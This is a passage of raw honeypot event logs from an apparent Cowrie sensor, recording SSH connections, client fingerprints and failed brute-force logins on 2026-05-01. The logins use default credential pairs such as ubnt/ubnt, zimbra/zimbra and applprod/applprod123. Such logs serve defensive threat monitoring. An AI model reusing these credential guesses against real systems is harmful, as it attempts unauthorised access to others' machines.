e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:12.930894Z","src_ip":"194.59.206.2","session":"d9789c261137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:13.020726Z","src_ip":"194.59.206.2","session":"d9789c261137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58956,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb46a6bdc76e","protocol":"ssh","message":"New connection: 159.203.92.129:58956 (159.203.135.109:22) [session: bb46a6bdc76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:19.442487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:19.446660Z","src_ip":"159.203.92.129","session":"bb46a6bdc76e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:19.450861Z","src_ip":"159.203.92.129","session":"bb46a6bdc76e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applprod","password":"applprod","message":"login attempt [applprod/applprod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:19.460459Z","src_ip":"159.203.92.129","session":"bb46a6bdc76e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:20.466267Z","src_ip":"159.203.92.129","session":"bb46a6bdc76e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:22.857304Z","src_ip":"122.168.114.167","session":"d3b863562bf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:25.733583Z","src_ip":"122.168.114.167","session":"d3b863562bf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.81450390815735,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:48.503061Z","src_ip":"185.26.126.47","session":"a167fed3556c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45588,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6c8f862d92a","protocol":"ssh","message":"New connection: 122.168.114.167:45588 (159.203.135.109:22) [session: b6c8f862d92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:49.844813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:51.985170Z","src_ip":"122.168.114.167","session":"b6c8f862d92a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:22:51.988645Z","src_ip":"122.168.114.167","session":"b6c8f862d92a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:00.774201Z","src_ip":"122.168.114.167","session":"b6c8f862d92a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:04.694341Z","src_ip":"122.168.114.167","session":"b6c8f862d92a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41530,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c79ec3757e7","protocol":"ssh","message":"New connection: 159.203.92.129:41530 (159.203.135.109:22) [session: 7c79ec3757e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:04.976706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:04.981803Z","src_ip":"159.203.92.129","session":"7c79ec3757e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:04.986592Z","src_ip":"159.203.92.129","session":"7c79ec3757e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applprod","password":"applprod123","message":"login attempt [applprod/applprod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:04.998313Z","src_ip":"159.203.92.129","session":"7c79ec3757e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:06.006888Z","src_ip":"159.203.92.129","session":"7c79ec3757e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47990,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b569e3107b","protocol":"ssh","message":"New connection: 122.168.114.167:47990 (159.203.135.109:22) [session: 51b569e3107b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:29.441017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:30.776604Z","src_ip":"122.168.114.167","session":"51b569e3107b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:30.780139Z","src_ip":"122.168.114.167","session":"51b569e3107b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:37.638391Z","src_ip":"122.168.114.167","session":"51b569e3107b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:39.769145Z","src_ip":"122.168.114.167","session":"51b569e3107b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47506,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d4c60b2e7c0","protocol":"ssh","message":"New connection: 159.203.92.129:47506 (159.203.135.109:22) [session: 5d4c60b2e7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:50.872602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:50.876413Z","src_ip":"159.203.92.129","session":"5d4c60b2e7c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:50.879993Z","src_ip":"159.203.92.129","session":"5d4c60b2e7c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applprod","password":"applprod1234","message":"login attempt [applprod/applprod1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:50.888818Z","src_ip":"159.203.92.129","session":"5d4c60b2e7c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:23:51.894037Z","src_ip":"159.203.92.129","session":"5d4c60b2e7c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50402,"dst_ip":"159.203.135.109","dst_port":22,"session":"7abac7ec279a","protocol":"ssh","message":"New connection: 122.168.114.167:50402 (159.203.135.109:22) [session: 7abac7ec279a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:09.523330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:10.635273Z","src_ip":"122.168.114.167","session":"7abac7ec279a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:10.675040Z","src_ip":"122.168.114.167","session":"7abac7ec279a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:15.456618Z","src_ip":"122.168.114.167","session":"7abac7ec279a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:17.656515Z","src_ip":"122.168.114.167","session":"7abac7ec279a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38970,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4d45a9dbe87","protocol":"ssh","message":"New connection: 159.203.92.129:38970 (159.203.135.109:22) [session: b4d45a9dbe87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:33.662796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:33.666996Z","src_ip":"159.203.92.129","session":"b4d45a9dbe87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:33.670832Z","src_ip":"159.203.92.129","session":"b4d45a9dbe87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appltest","password":"appltest","message":"login attempt [appltest/appltest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:33.680727Z","src_ip":"159.203.92.129","session":"b4d45a9dbe87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:34.687090Z","src_ip":"159.203.92.129","session":"b4d45a9dbe87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52804,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb23c8654dbd","protocol":"ssh","message":"New connection: 122.168.114.167:52804 (159.203.135.109:22) [session: fb23c8654dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:47.894269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:48.700901Z","src_ip":"122.168.114.167","session":"fb23c8654dbd","protocol":"ssh"}
